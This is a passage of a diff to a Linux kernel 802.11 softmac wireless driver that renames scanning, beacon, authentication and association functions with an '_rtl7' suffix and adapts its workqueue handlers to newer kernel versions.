}while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,208 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,103 +879,109 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ @@ -977,62 +989,67 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1060,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1085,18 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1089,42 +1106,40 @@ } ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1147,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1207,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static 